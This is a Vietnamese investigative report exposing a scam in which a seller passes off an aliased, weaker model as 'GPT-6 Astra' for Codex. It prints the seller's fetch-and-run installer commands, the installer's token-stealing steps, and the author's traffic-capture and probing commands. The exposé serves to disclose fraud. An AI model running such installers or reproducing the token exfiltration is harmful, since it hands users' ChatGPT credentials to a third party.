Họ bán cho bạn “GPT-6 Astra”. Bạn chưa bao giờ chạm vào Astra.

Đây là bằng chứng gọn nhất cho toàn bộ vụ việc: tên model hiện ra không phải gpt-6-astra, mà là một mã alias vô nghĩa ch/linxaq do máy chủ người bán tự đặt. Người dùng không có cách nào biết phía sau alias đó là model gì, và đó chính là mục đích của nó.

# Windows
irm "https://codex.nhtbgr.online/install.ps1?k=<REDACTED>" | iex

# macOS / Linux
curl -fsSL "https://codex.nhtbgr.online/install.sh?k=<REDACTED>" | bash

1. READ   ~/.codex/auth.json  →  tokens.access_token   (JWT phiên ChatGPT)
2. POST   https://codex.nhtbgr.online/client/catalog
        Authorization: Bearer <ACCESS_TOKEN CỦA NGƯỜI DÙNG>
3. WRITE  ~/.codex/config.toml
        openai_base_url    = "https://codex.nhtbgr.online/v1"
        model_catalog_json = "…/.codex/code-hole-remote-catalog.json"
        model              = <default do server chỉ định>
4. BACKUP config.toml.bak-remote-<timestamp>

Danh sách model hiển thị trong Codex không đến từ OpenAI mà đến từ máy chủ người bán. Mỗi dòng là một cặp alias vô nghĩa → tên hiển thị đẹp, và máy chủ sửa vế phải lúc nào cũng được mà người dùng không hay biết.

// Request model: "ch/3sc1a4"   (nhãn hiển thị: "GPT-6-Sol")
{"detail":"The 'gpt-6-sol' model is not supported when using Codex with a ChatGPT account."}

→ Proxy dịch ch/3sc1a4 thành gpt-6-sol trước khi gửi lên upstream.
  Cơ chế alias → model thật được xác nhận tồn tại.

// Request model: "gpt-6-astra"   (tên thật, gửi thẳng lên proxy)
HTTP 404
{"error":{"message":"model gpt-6-astra is not available","type":"model_not_found"}}

→ Nếu proxy thật sự phục vụ Astra, tên thật phải gọi được.
  Nó không tồn tại. Chỉ các alias ch/* chạy được.

Bộ câu hỏi khách quan (đếm ký tự, bat-and-ball, so sánh thập phân…) cho kết quả giống hệt nhau ở mọi model, tức là vô dụng để phân biệt. Chỉ hai tín hiệu tạo ra khác biệt ổn định.

Bài SVG bồ nông là phép thử phân biệt tốt vì nó đòi hỏi đồng thời hình học, bố cục, animation và chất lượng code, những thứ khác biệt rõ giữa các thế hệ model và không copy được từ câu trả lời mẫu.

Hình 7 · bản scammer

Hình 8 · Astra thật

https://codex.nhtbgr.online/install.ps1?k=<REDACTED>   ← installer Windows
https://codex.nhtbgr.online/install.sh?k=<REDACTED>    ← installer Unix
https://codex.nhtbgr.online/client/catalog             ← nơi token bị gửi tới
https://codex.nhtbgr.online/v1/responses               ← proxy inference

Tham số ?k=… là khóa phân phối: mỗi người mua một link riêng,
cho phép server gắn token thu được với một đơn hàng cụ thể.

GET  /v1/responses  (Upgrade: websocket)        → 426 "websocket not supported"
POST /v1/responses  (Accept: text/event-stream) → 200 (SSE)

  x-codex-routing-hint  : model=ch/linxaq
  x-codex-turn-metadata : {"model":"ch/linxaq","reasoning_effort":"xhigh", …}
  x-codex-plan-type     : plus          ← server đọc được hạng tài khoản bạn
  x-codex-active-limit  : premium
  response body         : "model":"ch/linxaq"
  KHÔNG có system_fingerprint  ← chặn đường xác thực model

# 1) Liệt kê model của provider đối chứng (nơi có Astra thật)
curl https://api.xpiki.com/v1/models -H "Authorization: Bearer sk-<REDACTED>"
→ 200 · 7 model: gpt-5.6-luna, gpt-5.6-terra, gpt-5.6-sol,
     gpt-6-astra, gpt-5.5, gpt-6-luna, gpt-6-sol

# 2) Xác nhận Astra thật tự nhận danh tính
POST /v1/chat/completions  {"model":"gpt-6-astra", …}
→ "Tôi là GPT 6 Astra, được phát triển bởi OpenAI."   cutoff 2026-03

# 3) Chạy battery lên proxy bằng ChatGPT token
python model_probe.py --models ch/linxaq,ch/3sc1a4,gpt-6-astra --runs 3
→ ch/linxaq: cutoff 2024-06 (3/3) · "powered by GPT-5"
   gpt-6-astra: 404 model_not_found

# 4) Battery lên provider đối chứng
python probe_xpiki.py "sk-<REDACTED>" "https://api.xpiki.com" "gpt-6-astra,gpt-6-sol,gpt-6-luna" 2

# 5) Bắt traffic
mitmdump --mode reverse:https://codex.nhtbgr.online --listen-port 8080 -s codex_capture_full.py

Báo cáo kỹ thuật gốc kèm toàn bộ log thô: bao-cao-ky-thuat-goc.html, file tự chứa, bao gồm phụ lục nhật ký điều tra đầy đủ.

“code ngon vãi l*z, kể cả có đè tem, ngày bào 400 tỉ token thì có c* bên cung cấp với giá 60k unlimited token thế này…” “vippro”, 00:18 ngày 29/09